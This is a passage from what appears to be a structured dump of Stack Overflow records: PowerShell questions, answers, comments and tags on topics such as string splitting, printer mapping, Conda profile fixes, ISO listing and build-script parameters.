9 : 10 : 11 : 1 12 : 13 : 1 14 : 1 15 : But my ultimate goal is to split these out before writing to SQL so it becomes one row per project-employee-date, more like this: The employee number, month and year are easily grabbed because these are in static cell locations, so assume they are coming in e.g. $employee, $monthInt, $yearInt: Can someone please help me visualize the logic to loop through the existing data array so these rows are in the employee-project-date format? Thanks!!
accepted answer: http://stackoverflow.com/a/79283454
has title: Import-Excel: Expand imported Excel columns to become individual row entries
has answer: http://stackoverflow.com/a/79283454
score: 0
tagged with: importexcel

http://stackoverflow.com/comment/139967482
has text: @AlwaysLearning The foldername is correct and the file is exported to the same folder using CLI BCP
comment on: http://stackoverflow.com/q/79369758
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140016429
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79395563
has text: Calling "native" .net code might be faster than using cmdlets according to https://serverfault.com/questions/957751/powershell-listing-billions-of-folders-fastly. So instead of `Get-ChildItem -Path $TestDir -Filter "*.txt"` you could try `[System.IO.Directory]::EnumerateFiles($TestDir, '*.txt')`

loops
tag name: loops
tags question: http://stackoverflow.com/q/79404173
type: Tag
tags question: http://stackoverflow.com/q/79488132

http://stackoverflow.com/a/79260271
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/79259964
has comment: http://stackoverflow.com/comment/139771043
has body: Explanation of what you tried First of all the major difference between the String.Split() method and the -Split operator is that the operator supports a regular expression and the method not. Both functions split on a a delimiter string where the delimiter itself is in fact flushed. $String.Split('40') pcst 0801 For the split method, if you use a zero-length delimiter ($String.Split('')), it will return nothing, meaning that it is unlikely that you will be able to use this method for your issue. For the split operator however, you might use a "subexpression" ("(...)") in the form of a Lookahead or Lookbehind ((?=\D{4}\d{2}) as in your split() method attempt) or a simple regular expression capturing group ((\D{4}\d{2}) as in your -split operator attempt) to exclude that part from the delimiter that is usually flushed. The point is that the regular expression will return multiple results (split) by itself including the main expression result and any additional subexpressions results. Meaning, the result of the regex you trying to implement contains two values: [Regex]::Match($string, "(\D{4}\d{2})").Groups | Select-Object Name, Length, Value Name Length Value ---- ------ ----- 0 6 pcst40 1 6 pcst40 Definition (quote from regular-expressions.info): Parentheses Create Numbered Capturing Groups Besides grouping part of a regular expression together, parentheses also create a numbered capturing group. It stores the part of the string matched by the part of the regular expression inside the parentheses. The regex Set(Value)? matches Set or SetValue. In the first case, the first (and only) capturing group remains empty. In the second case, the first capturing group matches Value. Non-Capturing Groups If you do not need the group to capture its match, you can optimize this regular expression into Set(?:Value)?. The question mark and the colon after the opening parenthesis are the syntax that creates a non-capturing group. As far as I can determine, it isn't possible to defi…
has comment: http://stackoverflow.com/comment/139769045
type: Answer
downvote count: 0

http://stackoverflow.com/a/79383869
answers question: http://stackoverflow.com/q/79383686
has comment: http://stackoverflow.com/comment/139995268
has body: UPDATE (I should have written this days ago, sorry people) Get both the Culture values If one is not en-US(which is the fallback), use it, otherwise use the other. Obviously if both are en-US that's what you are going to get. $Culture = if ([cultureinfo]::CurrentCulture -ne [cultureinfo]'en-US') { [cultureinfo]::CurrentCulture } else { [cultureinfo]::CurrentUICulture } Get-Date -Format $Culture.DateTimeFormat.ShortDatePattern Get-Date -Format $Culture.DateTimeFormat.ShortTimePattern ORIGINAL: ISE is obsolete and has been discontinued. It's shipped alongside Powershell 5.1 for purely legacy reasons. It is not suggested to develop any new code on it: if you have to, note that among the various reasons for its being discontinued is the fact it does load automatically a number of modules and settings so it happens that code running inside it can return different results than outside. So "code on ISE, test on regular shell" if you really have to.
has comment: http://stackoverflow.com/comment/139994342
has comment: http://stackoverflow.com/comment/139994770
type: Answer
has comment: http://stackoverflow.com/comment/140000755
has comment: http://stackoverflow.com/comment/139994371
has comment: http://stackoverflow.com/comment/139994852
downvote count: 1
has comment: http://stackoverflow.com/comment/139994360
has comment: http://stackoverflow.com/comment/139994746
has comment: http://stackoverflow.com/comment/139994685
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/139994632
has comment: http://stackoverflow.com/comment/139994963

http://stackoverflow.com/comment/139767840
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79260926
type: AnswerComment
has text: That the installer's output is JSON, with the structure you're spelling out, is implied by the question itself. Targeting `.\teambootstrapper` isn't the same as targeting `"$PSScriptRoot\teamsbootstrapper.exe"`, which is what the question does.

http://stackoverflow.com/a/79340091
answers question: http://stackoverflow.com/q/79339937
has comment: http://stackoverflow.com/comment/139910752
has comment: http://stackoverflow.com/comment/139914686
score: 1
has body: I'm not sure where you're getting $ACTIVE_PRINTERS from, as I can't find any reference to that enviroment variable and it doesn't return anything for me. However, I think the Get-Printer cmdlet should give you the info you need, specifically : foreach ($PrinterName in $LM.Keys) { $ip = $LM[$PrinterName] if (!($(Get-Printer).Name -like "*$PrinterName*")) { Add-PrinterPort "$ip" Add-Printer -DriverName "Lexmark Universal v2" -Name $PrinterName -PortName "$ip" } Write-Host "$PrinterName : $ip Are Mapped" } Update: To answer the follow up question, if you view the output from Get-Printer or for that matter $ACTIVE_PRINTERS, you'll see the various details that are visible. So for instance $ACTIVE_PRINTER.name gives you the display name of the printer, while ACTIVE_PRINTER.drivername gives the driver.
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79339937
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/q/79290398
accepted answer: http://stackoverflow.com/a/79291210
tagged with: windows
type: Question
tagged with: http://stackoverflow.com/tag/txt
score: 2
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139820568
has title: Powershell error "value can not in the type System Management Automation LanguagePrimitives+InternalPSCustomObject converted"
upvote count: 2
has body: I am trying to read a txt file with powershell, on only certain characters $TxtFilePath = "C:\Users\myname\mycode\mydata.txt" $TxtData = Get-Content $TxtFilePath | ForEach-Object { # Ensure the line is long enough before extracting substrings $Line = $_.PadRight(138) # Pad the line to ensure it has at least 138 characters $entry = @{ LastName = $Line.Substring(18, 40).Trim() FirstName = $Line.Substring(58, 40).Trim() Birthdate = $Line.Substring(128, 10).Trim() } [PSCustomObject]$entry } that Nth until Nth character is a space for corresponding value (although sometimes for example the name is only 5 character, but chracter 18-58 is prepared for the lastname). When I run that code, the error is """ The value cannot be converted to the type “System.Management.Automation.LanguagePrimitives+InternalPSCustomObject”. Only core types are supported in this language mode. """ And it refers to this line """[PSCustomObject]$entry""" would appreciate any lead I do expect it can read the txt files according to the rule.
favorite count: 0
has answer: http://stackoverflow.com/a/79291210
has comment: http://stackoverflow.com/comment/139821201

http://stackoverflow.com/comment/139743308
type: Comment
has text: What is `$output` used for later on in this function? Again, you're missing an example we can use to reproduce this error otherwise it is all guessing.
score: 0
comment on: http://stackoverflow.com/q/79247480
type: QuestionComment

enumeration
tags question: http://stackoverflow.com/q/79274648
tag name: enumeration
type: Tag

http://stackoverflow.com/a/79258281
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79256764
accepted answer of: http://stackoverflow.com/q/79256764
type: AcceptedAnswer
has body: Note that something like: # Does NOT declare a variable, outputs an empty string. [string] $domain is not a variable declaration. PowerShell has no concept of mere variable declarations (the only exceptions are parameter variables - see the relevant section of about_Functions). You can only "declare" a variable by implicitly creating it via assigning a value to it. (If the variable already exists, it will be updated.) In other words: it is the act of assigning a value that implicitly creates a variable, whether or not the LHS is prefixed with a type literal such as [string], which places a type constraint on the variable (e.g., [string] $domain = 42 ensures that the RHS is coerced to a string on assignment, both during the initial assignment and later ones; that is, the value that is stored is '42' in this case). By contrast, [string] $domain - without an assignment - is an expression that produces implicit output: In this case, [string] acts as cast applied to the value of variable $domain Since the variable doesn't exist yet, the stand-in value is $null. Converting $null to a string by virtue of the [string] cast yields the empty string ('') Since the result of the expression is neither captured, sent to another command, nor redirected - it is implicitly sent to the success output stream and becomes part of the function's output ("return value"); see this answer for background information. Since you had two such expressions in your function, its output comprised two empty strings, followed by the argument passed to return, which explains the Out-GridView behavior you saw. The solution is to simply omit these expressions. You're later implicitly creating the variables with the following assignment statement: $domain, $username = $LoginName.Split('\') Given that the .Split() method returns an array of [string] elements and given that you're using a multi-assignment to assign the two resulting elements to individual variables, these variables will effectively be [str…

http://stackoverflow.com/a/79387671
type: Answer
answers question: http://stackoverflow.com/q/79387608
has body: Answer provided follows the most commonly used pattern for build scripts. Instead of having these two bool parameters -BuildBinaries and -SetPermissions which by themselves are anti-pattern in PowerShell, [bool] parameters can always be replaced by [switch] parameters, you can have a single -Task param that takes string[] and is decorated with a ValidateSet for every possible task in your script. Then if you need further validation you can do it in the body of your script, for example: function build { param( [Parameter()] [ValidateNotNullOrEmpty()] [string] $BuildScriptPath = '~/folder/buildscript', [Parameter()] [ValidateNotNullOrEmpty()] [string] $OwnerName, [Parameter()] [ValidateSet('Build', 'SetOwner')] [string[]] $Task = 'Build' ) switch ($Task) { Build { Write-Verbose 'Running Build Task...' -Verbose $BuildScriptPath # do build stuff } SetOwner { Write-Verbose 'Running SetOwner Task...' -Verbose if ([string]::IsNullOrWhiteSpace($OwnerName)) { throw [System.ArgumentNullException]::new( 'OwnerName', &quot;'OwnerName' parameter is required when Task is 'SetOwner'&quot;) } # do set owner stuff } } } build -Task SetOwner # Should throw build -OwnerName foo -Task SetOwner # Works build -Task Build # Works because BuildScriptPath has a default value build -Task Build, SetOwner # Should throw build -OwnerName foo -Task Build, SetOwner # Works
accepted answer of: http://stackoverflow.com/q/79387608
downvote count: 0
type: AcceptedAnswer
score: 2
upvote count: 2

http://stackoverflow.com/comment/140013471
has text: Thx for the answer. I will have a go at tackling this later this week and once I got this working I will post the solution so others having the same question can benefit.
type: QuestionComment
comment on: http://stackoverflow.com/q/79393539
type: Comment
score: 0

http://stackoverflow.com/comment/140101870
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79412895
has text: Did you try ti run it on a test device first? In order to ensure that it works in case the user has 2-3 different python versions? It is not recommended to directly deploy scripts without testing first on test devices.

http://stackoverflow.com/q/79352193
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139951399
has comment: http://stackoverflow.com/comment/139969734
has comment: http://stackoverflow.com/comment/139950561
has body: I am using the latest VS Code version for a PS 5.1 app. Problem is that the integrated PS fails now when using the latest version of AZ.Account and Az.Ressources with this error message. Method 'get_SerializationSettings' in type 'Microsoft.Azure.Management.Internal.Resources.ResourceManagementClient' from assembly 'Microsoft.Azure.PowerShell.Clients.R esourceManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' does not have an implementation. !++ Source: Microsoft.Azure.PowerShell.Clients.ResourceManager !++ Target: Void BeginProcessing()&quot; Since I cannot go back to any old versions of those PS modules, and given the fact that the code works fine in PS 5.1 (without VS Code), I am wondering if it would be a workaround if I could start the PS code in VS Code (play icon / F5) and for that launch, it would not use the integrated PS 5.1 but instead launches an isolated / new PS 5.1 process. Is that possible in VS Code? Currently, I have setup the additional EXE path for PS 5.1 in the settings.json and also defined the default profile to use the PS 5.1 but when launching the PS code, the PS process is always integrated.
has comment: http://stackoverflow.com/comment/139970635
favorite count: 0
has comment: http://stackoverflow.com/comment/139934046
tagged with: visual-studio-code
type: Question
linked to: http://stackoverflow.com/q/948785
has comment: http://stackoverflow.com/comment/139935361
has title: VS Code isolated PowerShell Process (not integrated) when executing / debugging
answer count: 0
has comment: http://stackoverflow.com/comment/139969497
tagged with: powershell
has comment: http://stackoverflow.com/comment/139935398
score: 2
upvote count: 2

http://stackoverflow.com/comment/139916619
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79343084
has text: Probably the UI is not using the git binary and the underlying implementation that they are using (say, libgit2 or another) does not support the feature you are using there.
type: QuestionComment

http://stackoverflow.com/a/79401368
has body: Inspired by this post, the following code in the profile of PowerShell v7.5.0 worked like a charm: # A workaround for the issue https://github.com/PowerShell/PowerShell/issues/24869 function Invoke-CleanConda { $Env:_CE_M = $Env:_CE_CONDA = $null # need to be cleared each time before calling conda command Invoke-Conda @args # pass all the arguments to the conda command } Write-Output "`n" Write-Output "**********************************************************************" Write-Output "* HACK: Remove the default conda alias *" Write-Output "* and define a new command Invoke-CleanConda() as workaround. *" Write-Output "**********************************************************************" Write-Output "`n" Remove-Alias conda # remove the default conda alias Invoke-CleanConda env list Instead of calling conda [options], just call alll conda command with Invoke-CleanConda [options] such as Invoke-CleanConda activate base Invoke-CleanConda env list Of course, it would be better to fix the PS init issue on the Conda side. Also added here https://github.com/PowerShell/PowerShell/issues/24869#issuecomment-2625708821 ps: this bug has been fixed in Conda https://github.com/conda/conda/issues/14292#issuecomment-2619710240
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79388784

system.text.json
tag name: system.text.json
tags question: http://stackoverflow.com/q/79252900
type: Tag

http://stackoverflow.com/q/79277794
has body: I have asked a similar question before but as my script advances I have more an more criteria that I need to add in. I have a script now that goes off and creates a random password and stores it in a text file "password.txt". The script then moves on, uploads the new random password to my router and changes the guest wifi password via API call. I then have another process which sends an email to various addresses. I would like this email to send the password stored in "password.txt" but so far I can only get it to send the variable I am using and not the text from within the variable location. # build email message body and send it $headers=@{} $headers.Add("accept", "application/json") $headers.Add("Content-Type", "application/json") $headers.Add("X-Smtp2go-Api-Key", "api-3A583xxxxxxxxxxx") $response = Invoke-WebRequest -Uri 'https://api.smtp2go.com/v3/email/send' -Method POST -Headers $headers -ContentType 'application/json' -Body '{"sender":"merakiapi@mydomain.co.uk","to":["me@mydomain.co.uk"],"subject":"Password for Guest WiFi","html_body":"The new password is $pass"}' Email preview My variable for $pass is stored further up in the main script $pass = Get-Content $PSScriptRoot\password.txt. I am wondering if its location is what is causing the issue but I am not quite sure where to put it. The varibale is also being used to send the new password to the router. Update Thank you @sirtao. I think I am doing something not quite right as I get an error message and it stops my email from sending at all. # build email message body and send it $headers=@{} $headers.Add("accept", "application/json") $headers.Add("Content-Type", "application/json") $headers.Add("X-Smtp2go-Api-Key", "api-3A58xxxxxx") $response = Invoke-WebRequest -Uri 'https://api.smtp2go.com/v3/email/send' -Method POST -Headers $headers -ContentType 'application/json' -Body '{"sender":"merakiapi@mydomain.co.uk","to":["me@mydomain.co.uk"],"subject":"Password for Guest WiFi","html_body":"The new password is…
has title: Inserting text from a file into a HTML block in powershell
type: UnansweredQuestion
tagged with: variables
type: Question
answer count: 1
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/79278092
score: 0
tagged with: powershell

http://stackoverflow.com/comment/139982558
score: 0
has text: @Venkatesan - Also, I need to read the file URL from the csv file instead of hard coding, and download the file with folder structure and uplaod in azure blob with same structure.. pls help
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79375029

http://stackoverflow.com/comment/139919961
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79340490
has text: Why is this module just a regular local script and not an official one that bypass the policy by default?

http://stackoverflow.com/comment/140032833
comment on: http://stackoverflow.com/a/79400938
score: 1
type: AnswerComment
has text: I learned a couple of things from this answer. Nicely done.
type: Comment

http://stackoverflow.com/a/79312248
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139870717
type: Answer
has comment: http://stackoverflow.com/comment/139870716
answers question: http://stackoverflow.com/q/79312111
has body: Looks like 'set' is also a method in an XmlElement or Array object. A method name without the parentheses shows you the definitions. Even quoting set didn't help. I'm not sure of another workaround. Also put #text in quotes so it's not taken as a comment. You can abbreviate foreach-object as % and where-object as ?. [xml]$xml = get-content file.xml $xml.configure | foreach-object set | where-object Name -EQ KeyStorePath | foreach-object '#text' D:\VALUE\ADM\VALUE.keystore $xml.configure.gettype() IsPublic IsSerial Name BaseType -------- -------- ---- -------- True True Object[] System.Array $xml.configure | get-member set TypeName: System.Xml.XmlElement Name MemberType Definition ---- ---------- ---------- Set Property System.Object[] Set {get;} $xml.configure[0] -eq '' # ??? True select-xml '/Configure/Set[@name="KeyStorePath"]' file.xml | % node name #text ---- ----- KeyStorePath D:\VALUE\ADM\VALUE.keystore
accepted answer of: http://stackoverflow.com/q/79312111
type: AcceptedAnswer

http://stackoverflow.com/comment/139852409
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment
has text: @mklement0 I also checked that my cmd is using Powershell 5 version despite being on win 11, so it cant use UTF-8 nobom by default, that means that using chcp 1251 and then -Encoding Default will use it for everyone if I understood it right. I hope so at least. Thank you very much it was very helpful!

http://stackoverflow.com/comment/139852210
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
has text: Let's review your actions here, @AmigoJack: You created a distraction by objecting to the answer based on a false dichotomy ("that's not CMD, it's just calling PS"). You suggested a distinctly inferior approach ("Why not calling [sic] PHP or straight an EXE all along?"). You created a distraction by incorrectly claiming that Windows PowerShell and/or .NET Framework couldn't be assumed to be present. You used incendiary language ("Ugh, this is ridiculous"). When your arguments were refuted, you went silent and let your unhelpful / cantankerous comments stand.
type: AnswerComment

http://stackoverflow.com/a/79279479
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/79275630
has comment: http://stackoverflow.com/comment/139813850
has comment: http://stackoverflow.com/comment/139830461
has comment: http://stackoverflow.com/comment/139834994
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139809325
has body: It looks like kubectl assumes that the executable file path specified via the EDITOR environment variable contains no spaces and that any attempt to use such paths via embedded quoting doesn't work, as this result in quoting/escaping of these quotes (strangely, seemingly using POSIX-shell syntax). Thus, the solution should be to use the short (8.3) version of the executable path, which you can obtain as follows (should work analogously with your [System.Environment]::SetEnvironmentVariable() call): (New-Object -ComObject Scripting.FileSystemObject). GetFile('C:\Program Files\Notepad++\notepad++.exe').ShortPath. Replace('\', '/') Note the use of .Replace('\', '/') in order to translate \ characters in the path to /, given that Unix-heritage programs such as kubectl are likely to interpret (unescaped) \ as the escape character. However, as you state, this alone is not enough, because Notepad++ by default caches changes to files that aren't explicitly saved: That is, if you open an existing file, make changes to it, and then close Notepad++ without first having manually saved the changes, the window closes quietly and the pending changes are cached, without modifying the underlying file. (On reopening Notepad++, these pending changes are shown again.) The solution is to use the -nosession CLI option, in which case closing the window after having modified the edit buffer triggers a prompt for saving as-yet unchanged changes. You can try to implement it as follows, which relies on kubectl supporting an $env:EDITOR value containing a partial command line rather than an executable file path only: $env:EDITOR = '{0} -nosession' -f (New-Object -ComObject Scripting.FileSystemObject). GetFile('C:\Program Files\Notepad++\notepad++.exe').ShortPath. Replace('\', '/') The above works with git on Windows, for instance; personally, I cannot test it with kubectl.
has comment: http://stackoverflow.com/comment/139833710
answers question: http://stackoverflow.com/q/79275630
has comment: http://stackoverflow.com/comment/139829095

http://stackoverflow.com/comment/139917610
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79343590
has text: I'm referencing the Variable Group earlier in the code, before the task I pasted. Yes, it is suppose to contain JSON object, just like in the first example.
type: QuestionComment

http://stackoverflow.com/a/79384020
has comment: http://stackoverflow.com/comment/139998603
has comment: http://stackoverflow.com/comment/139996699
type: Answer
answers question: http://stackoverflow.com/q/79382926
has body: If I understood correctly your needs, you are overthinking $SourceDirectory = 'C:\F\2024 Detailed Letters' $DestinationDirectory = 'C:\F\Individual Folders' $PdfFileList = Get-ChildItem -Path $SourceDirectory -File -Filter '*.pdf' foreach ($PdfFile in $PdfFileList) { $Id = $PdfFile.BaseName.Substring(0, 8) # No need for Test-Path: using -Force if the item does already exist then New-Item returns it, otherwise it creates it and returns it. # Add -Verbose if you want the event be shown. # It says it's creating the directory even when it's just returning it, though. $TargetDirectory = New-Item -ItemType Directory -Path $DestinationDirectory -Name $Id -Force Move-Item -Path $PdfFile.FullName -Destination $TargetDirectory }
score: 0

http://stackoverflow.com/comment/139809657
score: 0
has text: @MikeZetPL If you want command-discovery for modules not already imported, yes, you'll need to explicitly list all exported commands. It's also a healthy practice to get into to avoid "leaking" internal functions you didn't mean to export :)
comment on: http://stackoverflow.com/a/79284494
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139809953
type: Comment
has text: @MisterSmith, as for producing output from the remotely executing script block: the `$infoObject` line in isolation inside the app-pool `foreach` loop is what produces output (1 object per iteration, once the fix is applied).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79279922

fastapi
type: Tag
tags question: http://stackoverflow.com/q/79375492
tag name: fastapi

http://stackoverflow.com/comment/139853049
score: 0
comment on: http://stackoverflow.com/a/79308669
type: AnswerComment
has text: *Sorry, I meant windows notepad, not notebook.
type: Comment

http://stackoverflow.com/comment/139769130
comment on: http://stackoverflow.com/q/79262231
type: QuestionComment
type: Comment
score: 0
has text: Yes, eventually the file should be empty. However, I would like to delete line by line, every time a line has been processed.

http://stackoverflow.com/comment/139924952
type: Comment
comment on: http://stackoverflow.com/q/79344223
score: 0
has text: That worked, Santiago! Thank you - now I get why it wasn't working the way I had done it.. Thank you!
type: QuestionComment

http://stackoverflow.com/q/79253460
type: UnansweredQuestion
favorite count: 0
has title: How to List Files in an ISO Image Without Mounting It?
has comment: http://stackoverflow.com/comment/139753540
tagged with: windows
has comment: http://stackoverflow.com/comment/139757289
type: Question
has comment: http://stackoverflow.com/comment/139753877
has answer: http://stackoverflow.com/a/79256249
downvote count: 0
answer count: 1
tagged with: powershell
score: 2
has comment: http://stackoverflow.com/comment/139753538
upvote count: 2
has body: I'm working on a script to list the files in the root directory of an ISO image. Currently, the script requires mounting the ISO to access and list the files, but I want to achieve this without mounting the ISO or relying on third-party tools. By mounting i mean, not make them visible as disk letters, im querying multiple isos and them spam a lot of temp disks. function Get-IsoContents { param ( [string]$IsoPath ) # Verify the file exists if (-not (Test-Path $IsoPath)) { Write-Error "ISO file not found: $IsoPath" return } try { # Mount the ISO image $mountResult = Mount-DiskImage -ImagePath $IsoPath -PassThru # Get the volume information $volume = $mountResult | Get-Volume # Check if volume was successfully retrieved if (-not $volume) { Write-Error "Could not retrieve volume information" return } # Get the drive letter $driveLetter = $volume.DriveLetter # Verify drive letter is not null or empty if ([string]::IsNullOrWhiteSpace($driveLetter)) { Write-Error "No drive letter assigned to the mounted ISO" return } # Construct full path and list contents $fullPath = $driveLetter + ":\" Get-ChildItem -Path $fullPath -Force | Select-Object -ExpandProperty Name } catch { Write-Error "Error accessing ISO contents: $_" } finally { # Ensure the ISO is dismounted if ($mountResult) { Dismount-DiskImage -ImagePath $IsoPath | Out-Null } } } # Usage example Get-IsoContents -IsoPath "C:\Users\iso.iso"

windows-clustering
tag name: windows-clustering
type: Tag
tags question: http://stackoverflow.com/q/79307364

http://stackoverflow.com/comment/139798327
comment on: http://stackoverflow.com/a/79278369
type: AnswerComment
has text: I have IIS 10 (server 2019). Thanks for the suggestions, however it should return 04:14:00 but instead returns 1.05:00:00 (both cmds do this)-- also, did you mean to use "Get-ItemProperty?" Your cmds say "Get-Property" (I presume a typo
type: Comment
score: 0

http://stackoverflow.com/q/79384352
has answer: http://stackoverflow.com/a/79384380
answer count: 2
accepted answer: http://stackoverflow.com/a/79384380
favorite count: 0
has comment: http://stackoverflow.com/comment/139995935
has comment: http://stackoverflow.com/comment/139996797
score: 1
type: Question
downvote count: 0
has title: Split and Join is resulting in error when I run it in a FOREACH block
tagged with: powershell
has answer: http://stackoverflow.com/a/79385345
type: AnsweredQuestion
has body: I have a set of data inside a variable $pods similar to the below. Orange-UK-1234567890-de22a Orange-US-123456-svbf3 Blue-US-NA-123456789-fr33s With this data, I am trying to get rid of any characters after the second from the right '-' hyphen. This is the code I am using and it is successful if I pass only one value. $onepod = 'Orange-UK-1234567890-de22a' $onepod.split('-')[-5..-3] -join '-' However, if I pass this into a foreach, as below, it doesn't work foreach ($onepod in $pods) {$onepod.split('-')[-5..-3] -join '-'} I get the error below: Method invocation failed because [Microsoft.Powershell.Commands.MatchInfo] does not contain a method named 'split' Basically, all I need is to exclude all character after the second FROM THE RIGHT hyphen including that hyphen, to return the below: Orange-UK Orange-US Blue-US-NA Is anyone able to advise please? Thanks in advance!
possible better answer: http://stackoverflow.com/a/79385345
upvote count: 1

http://stackoverflow.com/comment/139787729
score: 0
has text: I'm not sure where I got `From`, staring at this for too long, I guess. But `SenderName`, `SenderEmailAddress`, and `To` are still blank. Nothing in the returned object shows any e-mail address.
type: AnswerComment
comment on: http://stackoverflow.com/a/79270136
type: Comment

http://stackoverflow.com/q/79275914
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139833494
tagged with: sharepoint-online
has title: PowerShell script to move the files to one folder to another in same SharePoint Online library
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139800039
tagged with: powershell
has body: Good day. I have 5K+ files in "00" folder and each file having a Document date (single line of text). I need to move the files from "00" folder to January, February and March folder based on Document date. I need to write the PowerShell script. Any idea on this.

http://stackoverflow.com/q/79296160
tagged with: optimization
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/139834731
tagged with: parallel-processing
downvote count: 0
linked to: http://stackoverflow.com/q/60708578
tagged with: scripting
tagged with: powershell
has title: Optimizing PowerShell Script for Remote Execution and Parallel Processing
has comment: http://stackoverflow.com/comment/139832199
has answer: http://stackoverflow.com/a/79299847
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has body: I have a PowerShell script that performs remote execution of a script on multiple servers. The script checks whether a particular script exists on each server, and if it does, it invokes that script remotely. I want to optimize the script for performance and memory usage, particularly when dealing with a large number of servers. Below is the code I'm currently using. Explanation of Code Sections: Server List and Initialization: The list of servers ($servers) is defined at the beginning of the script. It holds the names or IP addresses of the remote servers where the script will be executed. We also initialize several variables such as $results to store the results, $missingScriptServers for servers missing the script, and counters for success and failure ($successCount and $failureCount). Checking Script Existence: The function Check-ScriptExists checks if the specified script ($scriptPath) exists on each remote server. It uses PowerShell remoting (New-PSSession and Invoke-Command) to check if the script file exists on the remote server. If the script exists, the function returns $true; otherwise, it returns $false. Invoking the Script Remotely: The Invoke-ScriptOnServer function is responsible for executing the script remotely on the server. If the script exists, this function executes it using Invoke-Command. If an error occurs during the execution, it returns 1 to indicate failure. Parallel Execution of Remote Commands: The script checks each server in the list. For servers where the script exists, it creates a background job using Start-Job. This allows the script to invoke the remote script in parallel on multiple servers, which improves performance by not waiting for each server to finish before moving on to the next. Collecting and Displaying Results: After starting the jobs for remote execution, the script waits for each job to complete using Wait-Job and retrieves the result with Receive-Job. It then removes the job with Remove-Job to free up resources. The…
has comment: http://stackoverflow.com/comment/139833156
tagged with: execution

http://stackoverflow.com/q/79401137
tagged with: breadcrumbs
has comment: http://stackoverflow.com/comment/140033066
has answer: http://stackoverflow.com/a/79405605
tagged with: powershell
has comment: http://stackoverflow.com/comment/140034208
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79405605
has comment: http://stackoverflow.com/comment/140035779
score: 1
favorite count: 0
upvote count: 1
has body: I wanted to confirm whether the following is a bug or expected behaviour, before I submit anything to VS Code on GitHub. I have a PowerShell script I'm working on thas has a few script level variables. Some of them are Hashtables with several properties each declared in block style: $Script:VarOne = [ordered]@{ FirstProperty = &quot;&quot; SecondProperty = &quot;&quot; } I noticed that the breadcrumbs section (right under the file name in the editor) will follow correctly when I'm on the line with the variable name. But, when my cursor is on any of the property lines, the variable name disappears from the breadcrumb. I took two screenshots to demonstrate: In this one, my cursor is on line 99. The breadcrumb shows three folders, the script, and finally the variable. In this one, my cursor in on line 100. The breadcrumb only shows the three folders and the script. Has anyone else encountered this? Thanks in advance. ETA: Retook the screenshots and highlighted the difference between them. Also added the two-sentence captions above the screenshots.
has title: Breadcrumb doesn't parse collection variable properties
tagged with: visual-studio-code
has comment: http://stackoverflow.com/comment/140034970
has comment: http://stackoverflow.com/comment/140031828
type: Question
downvote count: 0
answer count: 1

http://stackoverflow.com/a/79405998
downvote count: 0
upvote count: 5
has comment: http://stackoverflow.com/comment/140078074
score: 5
answers question: http://stackoverflow.com/q/79388784
type: Answer
has body: Fix: Conda Not Working in PowerShell 7.5+ Due to _CE_M and _CE_CONDA Issue Issue Summary After upgrading to PowerShell 7.5.0, Conda commands fail with the following error: usage: conda-script.py [-h] [-v] [--no-plugins] [-V] COMMAND ... conda-script.py: error: argument COMMAND: invalid choice: '' Running Get-Command conda shows Alias conda -> Invoke-Conda, meaning Conda is still aliased correctly. Manually setting _CE_M and _CE_CONDA to $null fixes the issue: $Env:_CE_M = $Env:_CE_CONDA = $null conda activate my_env # Works after setting these variables Root Cause PowerShell 7.5+ (built on .NET 9) changed how environment variables behave. Setting $Env:_CE_M = '' no longer removes the variable, which breaks Conda’s command parsing. This issue does not occur in PowerShell 5.1 or PowerShell 7.4 and earlier. Final Fix: Apply Automatic Clearing of _CE_M and _CE_CONDA Only in PowerShell 7.5+ Instead of manually running $Env:_CE_M = $null; $Env:_CE_CONDA = $null before every Conda command, we can apply a fix in $PROFILE to automate this only in PowerShell 7.5+. Solution: Modify PowerShell 7.5+ Profile 1. Open the PowerShell 7.5+ Profile notepad $PROFILE Note: PowerShell 5.1 profile is in: C:\Users\jim\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 PowerShell 7+ profile is in: C:\Users\jim\Documents\PowerShell\Microsoft.PowerShell_profile.ps1 Ensure you are modifying the PowerShell 7+ profile. 2. Add This Fix at the End of the File Write-Host "Running 4th: CurrentUserCurrentHost" -ForegroundColor Magenta Write-Host "Path: $($PROFILE.CurrentUserCurrentHost)" -ForegroundColor Magenta # Conda Initialization (& "D:\anaconda\Scripts\conda.exe" "shell.powershell" "hook") | Out-String | ?{$_} | Invoke-Expression # Fix for Conda issue in PowerShell 7.5+ (caused by .NET 9 changes) if ($PSVersionTable.PSVersion -ge [version]"7.5.0") { $ExecutionContext.InvokeCommand.PreCommandLookupAction = { param ($CommandName, $CommandOrigin) if ($CommandName -eq "conda") { $Env:_CE_…

http://stackoverflow.com/comment/140013086
type: Comment
